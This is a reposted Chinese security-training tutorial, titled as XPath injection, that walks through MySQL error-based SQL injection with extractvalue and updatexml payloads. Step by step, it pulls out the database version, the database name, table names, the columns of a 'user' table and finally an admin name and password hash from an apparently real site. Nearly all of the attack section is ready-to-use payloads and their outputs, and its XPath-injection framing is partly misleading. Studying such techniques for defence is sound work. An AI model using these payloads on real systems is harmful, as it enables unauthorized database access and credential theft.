当前位置:网站首页 > 网络安全培训 > 正文

渗透实例之XPath注入攻击

freebuffreebuf 2022-02-16 284 0

本文来源:

概述

XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。

XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

XPath注入实例

  • 漏洞检测

首先我们可以通过测试“ - ”“ ' ”字符来判断网站中是否存在XPath注入点,如下所示:

sitio/parametro.php?id=1  -->  sitio/parametro.php?id=-1 sitio/parametro.php?id=1  -->  sitio/parametro.php?id=1' 

从上图我们可以看到,在参数值前添加“ - ”字符返回异常,表明该网站存在注入漏洞。接下来我们将重点关注extractvalueupdatexml,通过这两个函数完成报错注入。

ExtractValue函数接受两个字符串参数,一个XML标记片段xml_frag和一个XPath表达式 xpath_expr(也称为定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

Updatexml函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr用户提供的XPath表达式匹配。如果xpath_expr未找到匹配的表达式 ,或者找到多个匹配项,则该函数返回原始xml_targetXML片段。所有三个参数都应该是字符串。

  • 数据库版本

使用以下Paylaod获取数据库版本:

-49+and extractvalue(0x0a,concat(0x0a,(select version()))) -49+and updatexml(null,concat(0x0a,(select version())),null) 

如上图所示,我们可以看到在PHP错误下出现的dXpath错误中了包含我们请求的信息,示例中返回的数据库版本为 XPATH syntax error: ' 5.7.34'

  • 数据库名称

使用以下Paylaod获取数据库名称:

+and extractvalue(0x0a,concat(0x0a,(select database()))) +and updatexml(null,concat(0x0a,(select database())),null) 

如上图所示,在错误中显示了数据库的名称XPATH syntax error: ' stepae_stepliv'

  • 数据库表名

使用以下Paylaod获取数据库表名:

+and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) +and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null) 

在上图中我们可以看到结果。请注意,上诉Paylaod最后使用的是“limit 0,1”,这是因为xpath最多只允许显示1行。

多亏了“limit 0,1”,我们可以获取更多的数据,如下所示:

and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null) --> XPATH syntax error: ' accesslevel' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),null) --> XPATH syntax error: ' logintype' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),null) --> XPATH syntax error: ' menu' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) --> XPATH syntax error: ' menuaccess' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 4,1)),null) --> XPATH syntax error: ' payments' 

按个尝试后,最终我们找到了想要的“user”数据库表,如下所示:

and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 36,1)),null) XPATH syntax error: ' user' 
  • 数据库列名

表名已经出来了,接下来使用以下Paylaod获取“user”数据库表所包含的字段:

+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1))) +and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1)),null) 

我们将十六进制编码的表名称放在hex. example中,如下所示:

user = 0x75736572 +and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) 

“user”表中具有以下字段:

+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) ---> XPATH syntax error: ' id' +and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 1,1))) ---> XPATH syntax error: ' name' +and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 2,1))) ---> XPATH syntax error: ' password' +and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 3,1))) ---> XPATH syntax error: ' email' +and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 4,1))) ---> XPATH syntax error: ' accesslevel' 

字段已经出来了。接下来,我们使用以下Paylaod获取“user”表中password字段的内容:

and extractvalue(0x0a,concat(0x0a,(select concat(name,'::::',password) from user limit 0,1))) 

返回的结果如下所示:

XPATH syntax error: ' Super Admin::::dc8ced213373d2d3' 

XPath注入就到这里结束了。

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

转载请注明来自网盾网络安全培训,本文标题:《渗透实例之XPath注入攻击》

标签:xpathxml数据库xml解析selectxml语言数据库table

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表